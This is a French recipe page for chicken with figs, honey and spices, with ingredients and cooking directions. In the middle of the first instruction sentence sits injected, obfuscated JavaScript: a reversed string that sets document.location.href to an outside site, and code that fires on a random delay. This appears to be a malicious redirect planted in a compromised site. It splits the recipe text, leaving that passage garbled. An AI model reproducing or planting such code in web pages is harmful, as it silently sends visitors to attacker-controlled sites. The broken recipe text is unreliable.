Poulet aux figues
2017-02-21- Cuisine : Viandes
- Thématique : Recettes du monde
- Niveau : Facile
Fendez les figues fraîches en quatre. Coupez en morceaux les figues violettes. Déposez les dans un plat avec les morceaux de poulet, le miel d’acacia, sel, poivre. Incorporez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toutes les épices en enrobant le poulet coupé en morceaux.
Ingrédients
Fendez les figues fraîches en quatre. Coupez en morceaux les figues violettes. Déposez les dans un plat avec les morceaux de poulet, le miel d'acacia, sel, poivre. Incorporez toutes les épices en enrobant le poulet coupé en morceaux. Couvrir d'une feuille de papier d’aluminium, laissez reposer pendant 25 à 30 minutes à température ambiante. A ce moment égouttez les morceaux de poulet, faites les revenir dans une sauteuse avec 2 cuillères à soupe d'huile d'arachide, sur feu vif jusqu'à ce qu'ils soient biens dorés sur toutes ces faces. Mouillez avec le ½ verre d'eau froide et faites cuire pendant 30 minutes environ, en surveillant la cuisson. Ajoutez si nécessaire un peu d'eau froide.
Dégustez chaud avec des pommes de terre vapeur où du riz.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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